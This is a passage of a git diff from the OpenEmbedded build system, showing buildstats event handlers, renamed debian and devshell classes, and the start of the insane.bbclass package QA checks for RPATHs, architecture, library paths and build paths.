+ d.setVar("BB_LOG_HOST_STAT_ON_INTERVAL", "0")
+ bb.warn("buildstats: Collecting host data at intervals failed. Set BB_LOG_HOST_STAT_CMDS_INTERVAL=\"command1 ; command2 ; ... \" in conf/local.conf.")
+ return
+ if type == "failure":
+ cmds = d.getVar('BB_LOG_HOST_STAT_CMDS_FAILURE')
+ msg = "Host Stats: Collecting data on failure.\n"
+ msg += "Failed at task: " + e.task + "\n"
+ if cmds is None:
+ d.setVar("BB_LOG_HOST_STAT_ON_FAILURE", "0")
+ bb.warn("buildstats: Collecting host data on failure failed. Set BB_LOG_HOST_STAT_CMDS_FAILURE=\"command1 ; command2 ; ... \" in conf/local.conf.")
+ return
+ c_san = []
+ for cmd in cmds.split(";"):
+ if len(cmd) == 0:
+ continue
+ num_cmds += 1
+ c_san.append(cmd)
+ if num_cmds == 0:
+ if type == "interval":
+ d.setVar("BB_LOG_HOST_STAT_ON_INTERVAL", "0")
+ if type == "failure":
+ d.setVar("BB_LOG_HOST_STAT_ON_FAILURE", "0")
+ return
+
+ # return if the interval is not enough to run all commands within the specified BB_HEARTBEAT_EVENT interval
+ if type == "interval":
+ limit = interval / num_cmds
+ if limit <= time_threshold:
+ d.setVar("BB_LOG_HOST_STAT_ON_INTERVAL", "0")
+ bb.warn("buildstats: Collecting host data failed. BB_HEARTBEAT_EVENT interval not enough to run the specified commands. Increase value of BB_HEARTBEAT_EVENT in conf/local.conf.")
+ return
+
+ # set the environment variables
+ path = d.getVar("PATH")
+ opath = d.getVar("BB_ORIGENV", False).getVar("PATH")
+ ospath = os.environ['PATH']
+ os.environ['PATH'] = path + ":" + opath + ":" + ospath
+ with open(logfile, "a") as f:
+ f.write("Event Time: %f\nDate: %s\n" % (e.time, datetime.datetime.now()))
+ f.write("%s" % msg)
+ for c in c_san:
+ try:
+ output = subprocess.check_output(c.split(), stderr=subprocess.STDOUT, timeout=limit).decode('utf-8')
+ except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError) as err:
+ output = "Error running command: %s\n%s\n" % (c, err)
+ f.write("%s\n%s\n" % (c, output))
+ # reset the environment
+ os.environ['PATH'] = ospath
+
+python run_buildstats () {
+ import bb.build
+ import bb.event
+ import time, subprocess, platform
+
+ bn = d.getVar('BUILDNAME')
+ ########################################################################
+ # bitbake fires HeartbeatEvent even before a build has been
+ # triggered, causing BUILDNAME to be None
+ ########################################################################
+ if bn is not None:
+ bsdir = os.path.join(d.getVar('BUILDSTATS_BASE'), bn)
+ taskdir = os.path.join(bsdir, d.getVar('PF'))
+ if isinstance(e, bb.event.HeartbeatEvent) and bb.utils.to_boolean(d.getVar("BB_LOG_HOST_STAT_ON_INTERVAL")):
+ bb.utils.mkdirhier(bsdir)
+ write_host_data(os.path.join(bsdir, "host_stats_interval"), e, d, "interval")
+
+ if isinstance(e, bb.event.BuildStarted):
+ ########################################################################
+ # If the kernel was not configured to provide I/O statistics, issue
+ # a one time warning.
+ ########################################################################
+ if not os.path.isfile("/proc/%d/io" % os.getpid()):
+ bb.warn("The Linux kernel on your build host was not configured to provide process I/O statistics. (CONFIG_TASK_IO_ACCOUNTING is not set)")
+
+ ########################################################################
+ # at first pass make the buildstats hierarchy and then
+ # set the buildname
+ ########################################################################
+ bb.utils.mkdirhier(bsdir)
+ set_buildtimedata("__timedata_build", d)
+ build_time = os.path.join(bsdir, "build_stats")
+ # write start of build into build_time
+ with open(build_time, "a") as f:
+ host_info = platform.uname()
+ f.write("Host Info: ")
+ for x in host_info:
+ if x:
+ f.write(x + " ")
+ f.write("\n")
+ f.write("Build Started: %0.2f \n" % d.getVar('__timedata_build', False)[0])
+
+ elif isinstance(e, bb.event.BuildCompleted):
+ build_time = os.path.join(bsdir, "build_stats")
+ with open(build_time, "a") as f:
+ ########################################################################
+ # Write build statistics for the build
+ ########################################################################
+ timedata = get_buildtimedata("__timedata_build", d)
+ if timedata:
+ time, cpu = timedata
+ # write end of build and cpu used into build_time
+ f.write("Elapsed time: %0.2f seconds \n" % (time))
+ if cpu:
+ f.write("CPU usage: %0.1f%% \n" % cpu)
+
+ if isinstance(e, bb.build.TaskStarted):
+ set_timedata("__timedata_task", d, e.time)
+ bb.utils.mkdirhier(taskdir)
+ # write into the task event file the name and start time
+ with open(os.path.join(taskdir, e.task), "a") as f:
+ f.write("Event: %s \n" % bb.event.getName(e))
+ f.write("Started: %0.2f \n" % e.time)
+
+ elif isinstance(e, bb.build.TaskSucceeded):
+ write_task_data("passed", os.path.join(taskdir, e.task), e, d)
+ if e.task == "do_rootfs":
+ bs = os.path.join(bsdir, "build_stats")
+ with open(bs, "a") as f:
+ rootfs = d.getVar('IMAGE_ROOTFS')
+ if os.path.isdir(rootfs):
+ try:
+ rootfs_size = subprocess.check_output(["du", "-sh", rootfs],
+ stderr=subprocess.STDOUT).decode('utf-8')
+ f.write("Uncompressed Rootfs size: %s" % rootfs_size)
+ except subprocess.CalledProcessError as err:
+ bb.warn("Failed to get rootfs size: %s" % err.output.decode('utf-8'))
+
+ elif isinstance(e, bb.build.TaskFailed):
+ # Can have a failure before TaskStarted so need to mkdir here too
+ bb.utils.mkdirhier(taskdir)
+ write_task_data("failed", os.path.join(taskdir, e.task), e, d)
+ ########################################################################
+ # Lets make things easier and tell people where the build failed in
+ # build_status. We do this here because BuildCompleted triggers no
+ # matter what the status of the build actually is
+ ########################################################################
+ build_status = os.path.join(bsdir, "build_stats")
+ with open(build_status, "a") as f:
+ f.write(d.expand("Failed at: ${PF} at task: %s \n" % e.task))
+ if bb.utils.to_boolean(d.getVar("BB_LOG_HOST_STAT_ON_FAILURE")):
+ write_host_data(os.path.join(bsdir, "host_stats_%s_failure" % e.task), e, d, "failure")
+}
+
+addhandler run_buildstats
+run_buildstats[eventmask] = "bb.event.BuildStarted bb.event.BuildCompleted bb.event.HeartbeatEvent bb.build.TaskStarted bb.build.TaskSucceeded bb.build.TaskFailed"
+
+python runqueue_stats () {
+ import buildstats
+ from bb import event, runqueue
+ # We should not record any samples before the first task has started,
+ # because that's the first activity shown in the process chart.
+ # Besides, at that point we are sure that the build variables
+ # are available that we need to find the output directory.
+ # The persistent SystemStats is stored in the datastore and
+ # closed when the build is done.
+ system_stats = d.getVar('_buildstats_system_stats', False)
+ if not system_stats and isinstance(e, (bb.runqueue.sceneQueueTaskStarted, bb.runqueue.runQueueTaskStarted)):
+ system_stats = buildstats.SystemStats(d)
+ d.setVar('_buildstats_system_stats', system_stats)
+ if system_stats:
+ # Ensure that we sample at important events.
+ done = isinstance(e, bb.event.BuildCompleted)
+ if system_stats.sample(e, force=done):
+ d.setVar('_buildstats_system_stats', system_stats)
+ if done:
+ system_stats.close()
+ d.delVar('_buildstats_system_stats')
+}
+
+addhandler runqueue_stats
+runqueue_stats[eventmask] = "bb.runqueue.sceneQueueTaskStarted bb.runqueue.runQueueTaskStarted bb.event.HeartbeatEvent bb.event.BuildCompleted bb.event.MonitorDiskEvent"
diff --git a/meta/classes/debian.bbclass b/meta/classes-global/debian.bbclass
index 6f8a599ccb..e2a129d028 100644
--- a/meta/classes/debian.bbclass
+++ b/meta/classes-global/debian.bbclass
@@ -1,10 +1,16 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# Debian package renaming only occurs when a package is built
# We therefore have to make sure we build all runtime packages
# before building the current package to make the packages runtime
# depends are correct
#
# Custom library package names can be defined setting
-# DEBIANNAME_ + pkgname to the desired name.
+# DEBIANNAME: + pkgname to the desired name.
#
# Better expressed as ensure all RDEPENDS package before we package
# This means we can't have circular RDEPENDS/RRECOMMENDS
@@ -13,17 +19,6 @@ AUTO_LIBNAME_PKGS = "${PACKAGES}"
inherit package
-DEBIANRDEP = "do_packagedata"
-do_package_write_ipk[rdeptask] = "${DEBIANRDEP}"
-do_package_write_deb[rdeptask] = "${DEBIANRDEP}"
-do_package_write_tar[rdeptask] = "${DEBIANRDEP}"
-do_package_write_rpm[rdeptask] = "${DEBIANRDEP}"
-
-python () {
- if not d.getVar("PACKAGES"):
- d.setVar("DEBIANRDEP", "")
-}
-
python debian_package_name_hook () {
import glob, copy, stat, errno, re, pathlib, subprocess
@@ -51,11 +46,11 @@ python debian_package_name_hook () {
return (s[stat.ST_MODE] & stat.S_IEXEC)
def add_rprovides(pkg, d):
- newpkg = d.getVar('PKG_' + pkg)
+ newpkg = d.getVar('PKG:' + pkg)
if newpkg and newpkg != pkg:
- provs = (d.getVar('RPROVIDES_' + pkg) or "").split()
+ provs = (d.getVar('RPROVIDES:' + pkg) or "").split()
if pkg not in provs:
- d.appendVar('RPROVIDES_' + pkg, " " + pkg + " (=" + d.getVar("PKGV") + ")")
+ d.appendVar('RPROVIDES:' + pkg, " " + pkg + " (=" + d.getVar("PKGV") + ")")
def auto_libname(packages, orig_pkg):
p = lambda var: pathlib.PurePath(d.getVar(var))
@@ -110,10 +105,10 @@ python debian_package_name_hook () {
if soname_result:
(pkgname, devname) = soname_result
for pkg in packages.split():
- if (d.getVar('PKG_' + pkg, False) or d.getVar('DEBIAN_NOAUTONAME_' + pkg, False)):
+ if (d.getVar('PKG:' + pkg, False) or d.getVar('DEBIAN_NOAUTONAME:' + pkg, False)):
add_rprovides(pkg, d)
continue
- debian_pn = d.getVar('DEBIANNAME_' + pkg, False)
+ debian_pn = d.getVar('DEBIANNAME:' + pkg, False)
if debian_pn:
newpkg = debian_pn
elif pkg == orig_pkg:
@@ -126,7 +121,7 @@ python debian_package_name_hook () {
newpkg = mlpre + newpkg
if newpkg != pkg:
bb.note("debian: renaming %s to %s" % (pkg, newpkg))
- d.setVar('PKG_' + pkg, newpkg)
+ d.setVar('PKG:' + pkg, newpkg)
add_rprovides(pkg, d)
else:
add_rprovides(orig_pkg, d)
diff --git a/meta/classes/devshell.bbclass b/meta/classes-global/devshell.bbclass
index fdf7dc100f..4c23049cf0 100644
--- a/meta/classes/devshell.bbclass
+++ b/meta/classes-global/devshell.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
inherit terminal
DEVSHELL = "${SHELL}"
@@ -21,6 +27,7 @@ addtask devshell after do_patch do_prepare_recipe_sysroot
DEVSHELL_STARTDIR ?= "${S}"
do_devshell[dirs] = "${DEVSHELL_STARTDIR}"
do_devshell[nostamp] = "1"
+do_devshell[network] = "1"
# devshell and fakeroot/pseudo need careful handling since only the final
# command should run under fakeroot emulation, any X connection should
@@ -34,7 +41,7 @@ python () {
d.delVarFlag("do_devshell", "fakeroot")
}
-def devpyshell(d):
+def pydevshell(d):
import code
import select
@@ -128,6 +135,7 @@ def devpyshell(d):
more = i.runsource(source, "<pyshell>")
if not more:
buf = []
+ sys.stderr.flush()
prompt(more)
except KeyboardInterrupt:
i.write("\nKeyboardInterrupt\n")
@@ -139,17 +147,18 @@ def devpyshell(d):
os.kill(child, signal.SIGTERM)
break
-python do_devpyshell() {
+python do_pydevshell() {
import signal
try:
- devpyshell(d)
+ pydevshell(d)
except SystemExit:
# Stop the SIGTERM above causing an error exit code
return
finally:
return
}
-addtask devpyshell after do_patch
+addtask pydevshell after do_patch
-do_devpyshell[nostamp] = "1"
+do_pydevshell[nostamp] = "1"
+do_pydevshell[network] = "1"
diff --git a/meta/classes-global/insane.bbclass b/meta/classes-global/insane.bbclass
new file mode 100644
index 0000000000..e963001d09
--- /dev/null
+++ b/meta/classes-global/insane.bbclass
@@ -0,0 +1,1664 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# BB Class inspired by ebuild.sh
+#
+# This class will test files after installation for certain
+# security issues and other kind of issues.
+#
+# Checks we do:
+# -Check the ownership and permissions
+# -Check the RUNTIME path for the $TMPDIR
+# -Check if .la files wrongly point to workdir
+# -Check if .pc files wrongly point to workdir
+# -Check if packages contains .debug directories or .so files
+# where they should be in -dev or -dbg
+# -Check if config.log contains traces to broken autoconf tests
+# -Check invalid characters (non-utf8) on some package metadata
+# -Ensure that binaries in base_[bindir|sbindir|libdir] do not link
+# into exec_prefix
+# -Check that scripts in base_[bindir|sbindir|libdir] do not reference
+# files under exec_prefix
+# -Check if the package name is upper case
+
+# Elect whether a given type of error is a warning or error, they may
+# have been set by other files.
+WARN_QA ?= " libdir xorg-driver-abi buildpaths \
+ textrel incompatible-license files-invalid \
+ infodir build-deps src-uri-bad symlink-to-sysroot multilib \
+ invalid-packageconfig host-user-contaminated uppercase-pn \
+ mime mime-xdg unlisted-pkg-lics unhandled-features-check \
+ missing-update-alternatives native-last missing-ptest \
+ license-exists license-no-generic license-syntax license-format \
+ license-incompatible license-file-missing obsolete-license \
+ 32bit-time virtual-slash \
+ "
+ERROR_QA ?= "dev-so debug-deps dev-deps debug-files arch pkgconfig la \
+ perms dep-cmp pkgvarcheck perm-config perm-line perm-link \
+ split-strip packages-list pkgv-undefined var-undefined \
+ version-going-backwards expanded-d invalid-chars \
+ license-checksum dev-elf file-rdeps configure-unsafe \
+ configure-gettext perllocalpod shebang-size \
+ already-stripped installed-vs-shipped ldflags compile-host-path \
+ install-host-path pn-overrides unknown-configure-option \
+ useless-rpaths rpaths staticdev empty-dirs \
+ patch-fuzz \
+ "
+# Add usrmerge QA check based on distro feature
+ERROR_QA:append = "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', ' usrmerge', '', d)}"
+ERROR_QA:append:layer-core = " patch-status"
+WARN_QA:append:layer-core = " missing-metadata missing-maintainer"
+
+FAKEROOT_QA = "host-user-contaminated"
+FAKEROOT_QA[doc] = "QA tests which need to run under fakeroot. If any \
+enabled tests are listed here, the do_package_qa task will run under fakeroot."
+
+ALL_QA = "${WARN_QA} ${ERROR_QA}"
+
+UNKNOWN_CONFIGURE_OPT_IGNORE ?= "--enable-nls --disable-nls --disable-silent-rules --disable-dependency-tracking --with-libtool-sysroot --disable-static"
+
+# This is a list of directories that are expected to be empty.
+QA_EMPTY_DIRS ?= " \
+ /dev/pts \
+ /media \
+ /proc \
+ /run \
+ /tmp \
+ ${localstatedir}/run \
+ ${localstatedir}/volatile \
+"
+# It is possible to specify why a directory is expected to be empty by defining
+# QA_EMPTY_DIRS_RECOMMENDATION:<path>, which will then be included in the error
+# message if the directory is not empty. If it is not specified for a directory,
+# then "but it is expected to be empty" will be used.
+
+def package_qa_clean_path(path, d, pkg=None):
+ """
+ Remove redundant paths from the path for display. If pkg isn't set then
+ TMPDIR is stripped, otherwise PKGDEST/pkg is stripped.
+ """
+ if pkg:
+ path = path.replace(os.path.join(d.getVar("PKGDEST"), pkg), "/")
+ return path.replace(d.getVar("TMPDIR"), "/").replace("//", "/")
+
+QAPATHTEST[shebang-size] = "package_qa_check_shebang_size"
+def package_qa_check_shebang_size(path, name, d, elf, messages):
+ import stat
+ if os.path.islink(path) or stat.S_ISFIFO(os.stat(path).st_mode) or elf:
+ return
+
+ try:
+ with open(path, 'rb') as f:
+ stanza = f.readline(130)
+ except IOError:
+ return
+
+ if stanza.startswith(b'#!'):
+ try:
+ stanza.decode("utf-8")
+ except UnicodeDecodeError:
+ #If it is not a text file, it is not a script
+ return
+
+ if len(stanza) > 129:
+ oe.qa.add_message(messages, "shebang-size", "%s: %s maximum shebang size exceeded, the maximum size is 128." % (name, package_qa_clean_path(path, d, name)))
+ return
+
+QAPATHTEST[libexec] = "package_qa_check_libexec"
+def package_qa_check_libexec(path,name, d, elf, messages):
+
+ # Skip the case where the default is explicitly /usr/libexec
+ libexec = d.getVar('libexecdir')
+ if libexec == "/usr/libexec":
+ return True
+
+ if 'libexec' in path.split(os.path.sep):
+ oe.qa.add_message(messages, "libexec", "%s: %s is using libexec please relocate to %s" % (name, package_qa_clean_path(path, d, name), libexec))
+ return False
+
+ return True
+
+QAPATHTEST[rpaths] = "package_qa_check_rpath"
+def package_qa_check_rpath(file,name, d, elf, messages):
+ """
+ Check for dangerous RPATHs
+ """
+ if not elf:
+ return
+
+ if os.path.islink(file):
+ return
+
+ bad_dirs = [d.getVar('BASE_WORKDIR'), d.getVar('STAGING_DIR_TARGET')]
+
+ phdrs = elf.run_objdump("-p", d)
+
+ import re
+ rpath_re = re.compile(r"\s+RPATH\s+(.*)")
+ for line in phdrs.split("\n"):
+ m = rpath_re.match(line)
+ if m:
+ rpath = m.group(1)
+ for dir in bad_dirs:
+ if dir in rpath:
+ oe.qa.add_message(messages, "rpaths", "package %s contains bad RPATH %s in file %s" % (name, rpath, file))
+
+QAPATHTEST[useless-rpaths] = "package_qa_check_useless_rpaths"
+def package_qa_check_useless_rpaths(file, name, d, elf, messages):
+ """
+ Check for RPATHs that are useless but not dangerous
+ """
+ def rpath_eq(a, b):
+ return os.path.normpath(a) == os.path.normpath(b)
+
+ if not elf:
+ return
+
+ if os.path.islink(file):
+ return
+
+ libdir = d.getVar("libdir")
+ base_libdir = d.getVar("base_libdir")
+
+ phdrs = elf.run_objdump("-p", d)
+
+ import re
+ rpath_re = re.compile(r"\s+RPATH\s+(.*)")
+ for line in phdrs.split("\n"):
+ m = rpath_re.match(line)
+ if m:
+ rpath = m.group(1)
+ if rpath_eq(rpath, libdir) or rpath_eq(rpath, base_libdir):
+ # The dynamic linker searches both these places anyway. There is no point in
+ # looking there again.
+ oe.qa.add_message(messages, "useless-rpaths", "%s: %s contains probably-redundant RPATH %s" % (name, package_qa_clean_path(file, d, name), rpath))
+
+QAPATHTEST[dev-so] = "package_qa_check_dev"
+def package_qa_check_dev(path, name, d, elf, messages):
+ """
+ Check for ".so" library symlinks in non-dev packages
+ """
+
+ if not name.endswith("-dev") and not name.endswith("-dbg") and not name.endswith("-ptest") and not name.startswith("nativesdk-") and path.endswith(".so") and os.path.islink(path):
+ oe.qa.add_message(messages, "dev-so", "non -dev/-dbg/nativesdk- package %s contains symlink .so '%s'" % \
+ (name, package_qa_clean_path(path, d, name)))
+
+QAPATHTEST[dev-elf] = "package_qa_check_dev_elf"
+def package_qa_check_dev_elf(path, name, d, elf, messages):
+ """
+ Check that -dev doesn't contain real shared libraries. The test has to
+ check that the file is not a link and is an ELF object as some recipes
+ install link-time .so files that are linker scripts.
+ """
+ if name.endswith("-dev") and path.endswith(".so") and not os.path.islink(path) and elf:
+ oe.qa.add_message(messages, "dev-elf", "-dev package %s contains non-symlink .so '%s'" % \
+ (name, package_qa_clean_path(path, d, name)))
+
+QAPATHTEST[staticdev] = "package_qa_check_staticdev"
+def package_qa_check_staticdev(path, name, d, elf, messages):
+ """
+ Check for ".a" library in non-staticdev packages
+ There are a number of exceptions to this rule, -pic packages can contain
+ static libraries, the _nonshared.a belong with their -dev packages and
+ libgcc.a, libgcov.a will be skipped in their packages
+ """
+
+ if not name.endswith("-pic") and not name.endswith("-staticdev") and not name.endswith("-ptest") and path.endswith(".a") and not path.endswith("_nonshared.a") and not '/usr/lib/debug-static/' in path and not '/.debug-static/' in path:
+ oe.qa.add_message(messages, "staticdev", "non -staticdev package contains static .a library: %s path '%s'" % \
+ (name, package_qa_clean_path(path, d, name)))
+
+QAPATHTEST[mime] = "package_qa_check_mime"
+def package_qa_check_mime(path, name, d, elf, messages):
+ """
+ Check if package installs mime types to /usr/share/mime/packages
+ while no inheriting mime.bbclass
+ """
+
+ if d.getVar("datadir") + "/mime/packages" in path and path.endswith('.xml') and not bb.data.inherits_class("mime", d):
+ oe.qa.add_message(messages, "mime", "package contains mime types but does not inherit mime: %s path '%s'" % \
+ (name, package_qa_clean_path(path, d, name)))
+
+QAPATHTEST[mime-xdg] = "package_qa_check_mime_xdg"
+def package_qa_check_mime_xdg(path, name, d, elf, messages):
+ """
+ Check if package installs desktop file containing MimeType and requires
+ mime-types.bbclass to create /usr/share/applications/mimeinfo.cache
+ """
+
+ if d.getVar("datadir") + "/applications" in path and path.endswith('.desktop') and not bb.data.inherits_class("mime-xdg", d):
+ mime_type_found = False
+ try:
+ with open(path, 'r') as f:
+ for line in f.read().split('\n'):
+ if 'MimeType' in line:
+ mime_type_found = True
+ break;
+ except:
+ # At least libreoffice installs symlinks with absolute paths that are dangling here.
+ # We could implement some magic but for few (one) recipes it is not worth the effort so just warn:
+ wstr = "%s cannot open %s - is it a symlink with absolute path?\n" % (name, package_qa_clean_path(path, d, name))
+ wstr += "Please check if (linked) file contains key 'MimeType'.\n"
+ pkgname = name
+ if name == d.getVar('PN'):
+ pkgname = '${PN}'
+ wstr += "If yes: add \'inhert mime-xdg\' and \'MIME_XDG_PACKAGES += \"%s\"\' / if no add \'INSANE_SKIP:%s += \"mime-xdg\"\' to recipe." % (pkgname, pkgname)
+ oe.qa.add_message(messages, "mime-xdg", wstr)
+ if mime_type_found:
+ oe.qa.add_message(messages, "mime-xdg", "%s: contains desktop file with key 'MimeType' but does not inhert mime-xdg: %s" % \
+ (name, package_qa_clean_path(path, d, name)))
+
+def package_qa_check_libdir(d):
+ """
+ Check for wrong library installation paths. For instance, catch
+ recipes installing /lib/bar.so when ${base_libdir}="lib32" or
+ installing in /usr/lib64 when ${libdir}="/usr/lib"
+ """
+ import re
+
+ pkgdest = d.getVar('PKGDEST')
+ base_libdir = d.getVar("base_libdir") + os.sep
+ libdir = d.getVar("libdir") + os.sep
+ libexecdir = d.getVar("libexecdir") + os.sep
+ exec_prefix = d.getVar("exec_prefix") + os.sep
+
+ messages = []
+
+ # The re's are purposely fuzzy, as some there are some .so.x.y.z files
+ # that don't follow the standard naming convention. It checks later
+ # that they are actual ELF files
+ lib_re = re.compile(r"^/lib.+\.so(\..+)?$")
+ exec_re = re.compile(r"^%s.*/lib.+\.so(\..+)?$" % exec_prefix)
+
+ for root, dirs, files in os.walk(pkgdest):
+ if root == pkgdest:
+ # Skip subdirectories for any packages with libdir in INSANE_SKIP
+ skippackages = []
+ for package in dirs:
+ if 'libdir' in (d.getVar('INSANE_SKIP:' + package) or "").split():
+ bb.note("Package %s skipping libdir QA test" % (package))
+ skippackages.append(package)
+ elif d.getVar('PACKAGE_DEBUG_SPLIT_STYLE') == 'debug-file-directory' and package.endswith("-dbg"):
+ bb.note("Package %s skipping libdir QA test for PACKAGE_DEBUG_SPLIT_STYLE equals debug-file-directory" % (package))
+ skippackages.append(package)
+ for package in skippackages:
+ dirs.remove(package)
+ for file in files:
+ full_path = os.path.join(root, file)
+ rel_path = os.path.relpath(full_path, pkgdest)
+ if os.sep in rel_path:
+ package, rel_path = rel_path.split(os.sep, 1)
+ rel_path = os.sep + rel_path
+ if lib_re.match(rel_path):
+ if base_libdir not in rel_path:
+ # make sure it's an actual ELF file
+ elf = oe.qa.ELFFile(full_path)
+ try:
+ elf.open()
+ messages.append("%s: found library in wrong location: %s" % (package, rel_path))
+ except (oe.qa.NotELFFileError):
+ pass
+ if exec_re.match(rel_path):
+ if libdir not in rel_path and libexecdir not in rel_path:
+ # make sure it's an actual ELF file
+ elf = oe.qa.ELFFile(full_path)
+ try:
+ elf.open()
+ messages.append("%s: found library in wrong location: %s" % (package, rel_path))
+ except (oe.qa.NotELFFileError):
+ pass
+
+ if messages:
+ oe.qa.handle_error("libdir", "\n".join(messages), d)
+
+QAPATHTEST[debug-files] = "package_qa_check_dbg"
+def package_qa_check_dbg(path, name, d, elf, messages):
+ """
+ Check for ".debug" files or directories outside of the dbg package
+ """
+
+ if not "-dbg" in name and not "-ptest" in name:
+ if '.debug' in path.split(os.path.sep):
+ oe.qa.add_message(messages, "debug-files", "%s: non debug package contains .debug directory %s" % \
+ (name, package_qa_clean_path(path, d, name)))
+
+QAPATHTEST[arch] = "package_qa_check_arch"
+def package_qa_check_arch(path,name,d, elf, messages):
+ """
+ Check if archs are compatible
+ """
+ import re, oe.elf
+
+ if not elf:
+ return
+
+ target_os = d.getVar('HOST_OS')
+ target_arch = d.getVar('HOST_ARCH')
+ provides = d.getVar('PROVIDES')
+ bpn = d.getVar('BPN')
+
+ if target_arch == "allarch":
+ pn = d.getVar('PN')
+ oe.qa.add_message(messages, "arch", pn + ": Recipe inherits the allarch class, but has packaged architecture-specific binaries")
+ return
+
+ # FIXME: Cross package confuse this check, so just skip them
+ for s in ['cross', 'nativesdk', 'cross-canadian']:
+ if bb.data.inherits_class(s, d):
+ return
+
+ # avoid following links to /usr/bin (e.g. on udev builds)
+ # we will check the files pointed to anyway...
+ if os.path.islink(path):
+ return
+
+ #if this will throw an exception, then fix the dict above
+ (machine, osabi, abiversion, littleendian, bits) \
+ = oe.elf.machine_dict(d)[target_os][target_arch]
+
+ # Check the architecture and endiannes of the binary
+ is_32 = (("virtual/kernel" in provides) or bb.data.inherits_class("module", d)) and \
+ (target_os == "linux-gnux32" or target_os == "linux-muslx32" or \
+ target_os == "linux-gnu_ilp32" or re.match(r'mips64.*32', d.getVar('DEFAULTTUNE')))
+ is_bpf = (oe.qa.elf_machine_to_string(elf.machine()) == "BPF")
+ if not ((machine == elf.machine()) or is_32 or is_bpf):
+ oe.qa.add_message(messages, "arch", "Architecture did not match (%s, expected %s) in %s" % \
+ (oe.qa.elf_machine_to_string(elf.machine()), oe.qa.elf_machine_to_string(machine), package_qa_clean_path(path, d, name)))
+ elif not ((bits == elf.abiSize()) or is_32 or is_bpf):
+ oe.qa.add_message(messages, "arch", "Bit size did not match (%d, expected %d) in %s" % \
+ (elf.abiSize(), bits, package_qa_clean_path(path, d, name)))
+ elif not ((littleendian == elf.isLittleEndian()) or is_bpf):
+ oe.qa.add_message(messages, "arch", "Endiannes did not match (%d, expected %d) in %s" % \
+ (elf.isLittleEndian(), littleendian, package_qa_clean_path(path, d, name)))
+
+QAPATHTEST[desktop] = "package_qa_check_desktop"
+def package_qa_check_desktop(path, name, d, elf, messages):
+ """
+ Run all desktop files through desktop-file-validate.
+ """
+ if path.endswith(".desktop"):
+ desktop_file_validate = os.path.join(d.getVar('STAGING_BINDIR_NATIVE'),'desktop-file-validate')
+ output = os.popen("%s %s" % (desktop_file_validate, path))
+ # This only produces output on errors
+ for l in output:
+ oe.qa.add_message(messages, "desktop", "Desktop file issue: " + l.strip())
+
+QAPATHTEST[textrel] = "package_qa_textrel"
+def package_qa_textrel(path, name, d, elf, messages):
+ """
+ Check if the binary contains relocations in .text
+ """
+
+ if not elf:
+ return
+
+ if os.path.islink(path):
+ return
+
+ phdrs = elf.run_objdump("-p", d)
+ sane = True
+
+ import re
+ textrel_re = re.compile(r"\s+TEXTREL\s+")
+ for line in phdrs.split("\n"):
+ if textrel_re.match(line):
+ sane = False
+ break
+
+ if not sane:
+ path = package_qa_clean_path(path, d, name)
+ oe.qa.add_message(messages, "textrel", "%s: ELF binary %s has relocations in .text" % (name, path))
+
+QAPATHTEST[ldflags] = "package_qa_hash_style"
+def package_qa_hash_style(path, name, d, elf, messages):
+ """
+ Check if the binary has the right hash style...
+ """
+
+ if not elf:
+ return
+
+ if os.path.islink(path):
+ return
+
+ gnu_hash = "--hash-style=gnu" in d.getVar('LDFLAGS')
+ if not gnu_hash:
+ gnu_hash = "--hash-style=both" in d.getVar('LDFLAGS')
+ if not gnu_hash:
+ return
+
+ sane = False
+ has_syms = False
+
+ phdrs = elf.run_objdump("-p", d)
+
+ # If this binary has symbols, we expect it to have GNU_HASH too.
+ for line in phdrs.split("\n"):
+ if "SYMTAB" in line:
+ has_syms = True
+ if "GNU_HASH" in line or "MIPS_XHASH" in line:
+ sane = True
+ if ("[mips32]" in line or "[mips64]" in line) and d.getVar('TCLIBC') == "musl":
+ sane = True
+ if has_syms and not sane:
+ path = package_qa_clean_path(path, d, name)
+ oe.qa.add_message(messages, "ldflags", "File %s in package %s doesn't have GNU_HASH (didn't pass LDFLAGS?)" % (path, name))
+
+
+QAPATHTEST[buildpaths] = "package_qa_check_buildpaths"
+def package_qa_check_buildpaths(path, name, d, elf, messages):
+ """
+ Check for build paths inside target files and error if paths are not
+ explicitly ignored.
+ """
+ import stat
+
+ # Ignore symlinks/devs/fifos
+ mode = os.lstat(path).st_mode
+ if stat.S_ISLNK(mode) or stat.S_ISBLK(mode) or stat.S_ISFIFO(mode) or stat.S_ISCHR(mode) or stat.S_ISSOCK(mode):
+ return
+
+ tmpdir = bytes(d.getVar('TMPDIR'), encoding="utf-8")
+ with open(path, 'rb') as f:
+ file_content = f.read()
+ if tmpdir in file_content:
+ trimmed = path.replace(os.path.join (d.getVar("PKGDEST"), name), "")
+ oe.qa.add_message(messages, "buildpaths", "File %s in package %s contains reference to TMPDIR" % (trimmed, name))
+
+
+QAPATHTEST[xorg-driver-abi] = "package_qa_check_xorg_driver_abi"
+def package_qa_check_xorg_driver_abi(path, name, d, elf, messages):
+ """
+ Check that all packages containing Xorg drivers have ABI dependencies
+ """
+
+ # Skip dev, dbg or nativesdk packages
+ if name.endswith("-dev") or name.endswith("-dbg") or name.startswith("nativesdk-"):
+ return
+
+ driverdir = d.expand("${libdir}/xorg/modules/drivers/")
+ if driverdir in path and path.endswith(".so"):
+ mlprefix = d.getVar('MLPREFIX') or ''
+ for rdep in bb.utils.explode_deps(d.getVar('RDEPENDS:' + name) or ""):
+ if rdep.startswith("%sxorg-abi-" % mlprefix):
+ return
+ oe.qa.add_message(messages, "xorg-driver-abi", "Package %s contains Xorg driver (%s) but no xorg-abi- dependencies" % (name, os.path.basename(path)))
+
+QAPATHTEST[infodir] = "package_qa_check_infodir"
+def package_qa_check_infodir(path, name, d, elf, messages):
+ """
+ Check that /usr/share/info/dir isn't shipped in a particular package
+ """
+ infodir = d.expand("${infodir}/dir")
+
+ if infodir in path:
+ oe.qa.add_message(messages, "infodir", "The /usr/share/info/dir file is not meant to be shipped in a particular package.")
+
+QAPATHTEST[symlink-to-sysroot] = "package_qa_check_symlink_to_sysroot"
+def package_qa_check_symlink_to_sysroot(path, name, d, elf, messages):
+ """
+ Check that the package doesn't contain any absolute symlinks to the sysroot.
+ """
+ if os.path.islink(path):
